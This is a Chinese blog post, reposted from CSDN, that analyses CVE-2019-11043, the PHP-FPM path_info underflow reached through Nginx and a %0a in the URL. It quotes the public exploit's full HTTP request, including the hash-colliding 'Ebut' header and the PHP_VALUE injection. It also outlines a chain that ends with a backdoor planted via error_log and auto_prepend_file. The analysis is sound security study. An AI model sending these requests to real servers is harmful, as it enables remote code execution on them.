cve-2019-11043分析

当url路径中存在%0a将其截断:http://127.0.0.1/index.php/123%0atest.php,加之Nginx处理url的正则有个bug,在解析的时候会把path_info置空;

漏洞函数fpm_request_info:

进入函数fpm_request_info:

env_path_info为path_info的指针,虽然path_info为空,但是env_path_info非空;于是pilen=strlen(env_path_info)=0;

又path_info=env_path_info+pilen-slen;而pilen=0,且slen可由客户控制,因此使得path_info可由客户控制;

紧接着,代码如下:

path_info[0]会被置为0,于是,当客户可以控制path_info时,就可以将任意位置置为0;而这会影响到FCGI_PUTENV函数,进入函数FCGI_PUTENV:

进入函数fcgi_quick_putenv:

函数fcgi_hash_set对&req->env直接进行操作,req->env为fcgi_hash类型变量,fcgi_hash的定义如下:

漏洞发现者将path_info指向(&req->env)->data,它是一个fcgi_data_seg变量的指针,fcgi_data_seg的定义如下:

于是(&req->env)->data->pos会被置为0;

我们跟进fcgi_hash_set函数:

进入fcgi_hash_strndup函数:

由于刚刚把h->data->pos置0,str可由用户控制(fcgi_hash_strndup(h, val, val_len)中的val),即我们可以在h->data->pos处写入数据;

那么这个exp是怎么利用这个漏洞攻击的呢?

我们先看一下exp发送的数据包:

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: ubuntu.local:8080
User-Agent: Mozilla/5.0
D-Gisos: 8=====================================D
Ebut: mamku tvoyu

D-Gisos的作用是填充,将Ebut置于指定位置,Ebut会转化为HTTP_EBUT,为什么会转化为HTTP_EBUT,fast_cgi在获取环境变量时,会判断变量的哈希与长度,而HTTP_EBUT是漏洞发现者fuzz出的与PHP_VALUE哈希一致,长度也一致的变量,具体代码见下图:

然后在程序进入fcgi_hash_strndup之后,将PHP_VALUE替换HTTP_EBUT;于是我们可以控制PHP_VALUE的值,即我们可以控制PHP的任意全局变量,可以控制全局变量之后,有多种攻击方法,下面介绍漏洞发现者提供的方法:

开启自动包含,并设置包含目录为/tmp,之后设置log地址为/tmp/a并将payload写入log文件,通过auto_prepend_file自动包含/tmp/a文件构造后门文件。

参考文献:

https://xz.aliyun.com/t/6671

https://paper.seebug.org/1063/

发布了9 篇原创文章 · 获赞 0 · 访问量 117

猜你喜欢

转载自blog.csdn.net/ckm1607011/article/details/105477117